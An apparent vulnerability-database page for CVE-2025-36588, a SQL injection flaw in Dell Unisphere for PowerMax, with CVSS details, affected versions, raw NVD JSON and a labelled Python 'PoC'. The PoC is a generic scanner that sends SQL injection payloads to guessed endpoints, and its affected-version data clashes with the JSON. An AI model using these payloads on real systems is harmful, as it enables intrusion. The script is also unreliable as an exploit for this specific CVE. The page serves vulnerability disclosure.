Security Vulnerability Report
中文
CVE-2025-36588 CVSS 8.8 HIGH

CVE-2025-36588

Published: 2026-01-22 16:16:07
Last Modified: 2026-02-26 13:16:17

Description

Dell Unisphere for PowerMax, version(s) 10.2.0.x, contain(s) an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:unisphere_for_powermax:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:unisphere_for_powermax_virtual_appliance:*:*:*:*:*:*:*:* - VULNERABLE
Dell Unisphere for PowerMax 10.2.0.0
Dell Unisphere for PowerMax 10.2.0.1
Dell Unisphere for PowerMax 10.2.0.2
Dell Unisphere for PowerMax 10.2.0.3
Dell Unisphere for PowerMax 10.2.0.4
Dell Unisphere for PowerMax 10.2.0.5
Dell Unisphere for PowerMax 10.2.0.6
Dell Unisphere for PowerMax 10.2.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36588 SQL Injection PoC for Dell Unisphere PowerMax # Target: Dell Unisphere for PowerMax version 10.2.0.x # Vulnerability: SQL Injection in web interface import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "https://target.example.com:8443" def test_sql_injection(url): """Test for SQL injection vulnerability""" # Test payloads for SQL injection payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "'; SELECT * FROM users--", "' OR 1=1--" ] # Common injection points (example paths) paths = [ "/api/v1/search", "/api/systems", "/api/reports", "/login", "/api/v1/users" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json", "Authorization": "Basic base64_encoded_credentials" } print(f"[*] Testing target: {target}") print(f"[*] Testing {len(paths)} endpoints with {len(payloads)} payloads\n") for path in paths: for payload in payloads: try: # Test GET parameter injection test_url = f"{url}{path}?q={payload}" response = requests.get(test_url, headers=headers, verify=False, timeout=10) # Check for SQL error indicators error_indicators = [ "sql", "syntax", "mysql", "oracle", "postgresql", "microsoft sql", "odbc", "database error" ] response_lower = response.text.lower() for error in error_indicators: if error in response_lower: print(f"[!] Potential SQL Injection found!") print(f" URL: {test_url}") print(f" Payload: {payload}") print(f" Status: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("[*] No obvious SQL injection detected") return False if __name__ == "__main__": test_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36588", "sourceIdentifier": "[email protected]", "published": "2026-01-22T16:16:07.050", "lastModified": "2026-02-26T13:16:16.577", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Unisphere for PowerMax, version(s) 10.2.0.x, contain(s) an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution."}, {"lang": "es", "value": "Dell Unisphere para PowerMax, versión(es) 10.2.0.x, contiene una vulnerabilidad de neutralización incorrecta de elementos especiales utilizados en un comando SQL ('inyección SQL'). Un atacante con privilegios bajos y acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que llevaría a la ejecución de comandos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:unisphere_for_powermax:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.4.19", "matchCriteriaId": "C01FF00D-7767-4FF4-926C-94E1BBF57DBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:unisphere_for_powermax_virtual_appliance:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.4.19", "matchCriteriaId": "A00DCE8B-D23A-4AFE-B3A7-6310B612D22A"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000429268/dsa-2026-102-dell-unisphere-for-powermax-and-powermax-eem-security-update-for-multiple-vulnerabilities", "source": "[email protected]"}]}}